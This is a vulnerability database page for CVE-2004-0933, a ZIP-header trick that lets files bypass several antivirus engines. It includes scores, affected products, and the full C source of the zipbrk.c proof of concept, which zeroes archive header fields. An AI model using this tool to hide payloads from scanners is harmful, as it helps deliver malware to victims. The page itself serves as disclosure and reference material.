CVE-2004-0933 : Detail

CVE-2004-0933

92.55%V3
Network
2004-11-19
04h00 +00:00
2017-07-10
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Computer Associates (CA) InoculateIT 6.0, eTrust Antivirus r6.0 through r7.1, eTrust Antivirus for the Gateway r7.0 and r7.1, eTrust Secure Content Manager, eTrust Intrusion Detection, EZ-Armor 2.0 through 2.4, and EZ-Antivirus 6.1 through 6.3 allow remote attackers to bypass antivirus protection via a compressed file with both local and global headers set to zero, which does not prevent the compressed file from being opened on a target system.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 629

Publication date : 2004-11-13 23h00 +00:00
Author : oc192
EDB Verified : Yes

/* zipbrk.c - Proof-of-Concept for CAN-2004-0932 - CAN-2004-0937 Copyright (C) 2004 oc.192 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. oc.192 phreaker net */ #include <stdio.h> #include <stdlib.h> unsigned short LOCAL_HEADER_OFFSET = 16; unsigned short CENTRAL_HEADER_OFFSET = 18; unsigned long DATA_REPLACE_VALUE = 0x00000000; void show_usage() { printf("zipbrk - by oc.192 [[email protected]]\n"); printf("Attempts to utilize the vulnerabilities described in:\n"); printf("CAN-2004-0932 - McAfee\nCAN-2004-0933 - Computer Associates\n" "CAN-2004-0934 - Kaspersky\nCAN-2004-0937 - Sophos\n" "CAN-2004-0935 - Eset\nCAN-2004-0936 - RAV\n\n"); printf(" Usage: zipbrk <zip_file>\n"); } void patch_file(FILE *hfile, unsigned long offset) { char *buffer = malloc(1); memset(buffer, 0, 1); fseek(hfile, offset, SEEK_SET); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); fwrite(buffer, 1, 1, hfile); free(buffer); } void scan_file(char *filename) { FILE *hfile; unsigned char buffer; unsigned long offset = 0; if ((hfile = fopen(filename, "rb+")) == NULL) { printf("[-] Error: Unable to open %s", filename); return; } printf("[+] Scanning %s ...\n", filename); while (fread(&buffer, sizeof(buffer), 1, hfile)) { if (buffer == 0x50) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x4B) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x01) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x02) { /* perform write */ offset = ftell(hfile); offset = offset + LOCAL_HEADER_OFFSET; printf(" [-] Writing local header patch [0x%.8X]\n", offset); patch_file(hfile, offset); fseek(hfile, offset, SEEK_SET); } } else if (buffer == 0x03) { fread(&buffer, sizeof(buffer), 1, hfile); if (buffer == 0x04) { /* perform write */ offset = ftell(hfile); offset = offset + CENTRAL_HEADER_OFFSET; printf(" [-] Writing central header patch [0x%.8X]\n", offset); patch_file(hfile, offset); fseek(hfile, offset, SEEK_SET); } } } } } printf("[+] File scanning finished. EOF:%d ERR:%d\n", feof(hfile), ferror(hfile)); fclose(hfile); } int main(int argc, char *argv[]) { if (argc != 2) { show_usage(); return 0; } if (!strcmp(argv[1], "-h") || !strcmp(argv[1], "/?")) { show_usage(); return 0; } scan_file(argv[1]); return 0; } // milw0rm.com [2004-11-14]

Products Mentioned

Configuraton 0

Archive_zip>>Archive_zip >> Version 1.13

    Broadcom>>Brightstor_arcserve_backup >> Version 11.1

    Broadcom>>Etrust_antivirus >> Version 7.0

    Broadcom>>Etrust_antivirus >> Version 7.1

    Broadcom>>Etrust_antivirus_gateway >> Version 7.0

    Broadcom>>Etrust_antivirus_gateway >> Version 7.1

    Broadcom>>Etrust_ez_antivirus >> Version 6.1

    Broadcom>>Etrust_ez_antivirus >> Version 6.2

    Broadcom>>Etrust_ez_antivirus >> Version 6.3

    Broadcom>>Etrust_ez_armor >> Version 2.0

    Broadcom>>Etrust_ez_armor >> Version 2.3

    Broadcom>>Etrust_ez_armor >> Version 2.4

    Broadcom>>Etrust_intrusion_detection >> Version 1.4.1.13

    Broadcom>>Etrust_intrusion_detection >> Version 1.4.5

    Broadcom>>Etrust_intrusion_detection >> Version 1.5

    Broadcom>>Etrust_secure_content_manager >> Version 1.0

    Broadcom>>Etrust_secure_content_manager >> Version 1.1

    Broadcom>>Inoculateit >> Version 6.0

    Ca>>Etrust_antivirus >> Version 7.0_sp2

      Ca>>Etrust_secure_content_manager >> Version 1.0

        Eset_software>>Nod32_antivirus >> Version 1.0.11

          Eset_software>>Nod32_antivirus >> Version 1.0.12

            Eset_software>>Nod32_antivirus >> Version 1.0.13

              Kaspersky_lab>>Kaspersky_anti-virus >> Version 3.0

                Kaspersky_lab>>Kaspersky_anti-virus >> Version 4.0

                  Kaspersky_lab>>Kaspersky_anti-virus >> Version 5.0

                    Mcafee>>Antivirus_engine >> Version 4.3.20

                    Rav_antivirus>>Rav_antivirus_desktop >> Version 8.6

                      Rav_antivirus>>Rav_antivirus_for_file_servers >> Version 1.0

                        Rav_antivirus>>Rav_antivirus_for_mail_servers >> Version 8.4.2

                          Sophos>>Sophos_anti-virus >> Version 3.4.6

                          Sophos>>Sophos_anti-virus >> Version 3.78

                          Sophos>>Sophos_anti-virus >> Version 3.78d

                          Sophos>>Sophos_anti-virus >> Version 3.79

                          Sophos>>Sophos_anti-virus >> Version 3.80

                          Sophos>>Sophos_anti-virus >> Version 3.81

                          Sophos>>Sophos_anti-virus >> Version 3.82

                          Sophos>>Sophos_anti-virus >> Version 3.83

                          Sophos>>Sophos_anti-virus >> Version 3.84

                          Sophos>>Sophos_anti-virus >> Version 3.85

                          Sophos>>Sophos_anti-virus >> Version 3.86

                          Sophos>>Sophos_puremessage_anti-virus >> Version 4.6

                            Sophos>>Sophos_small_business_suite >> Version 1.0

                              Configuraton 0

                              Gentoo>>Linux >> Version *

                              Gentoo>>Linux >> Version 1.4

                              Mandrakesoft>>Mandrake_linux >> Version 10.1

                              Mandrakesoft>>Mandrake_linux >> Version 10.1

                                Suse>>Suse_linux >> Version 9.2

                                References

                                http://www.securityfocus.com/bid/11448
                                Tags : vdb-entry, x_refsource_BID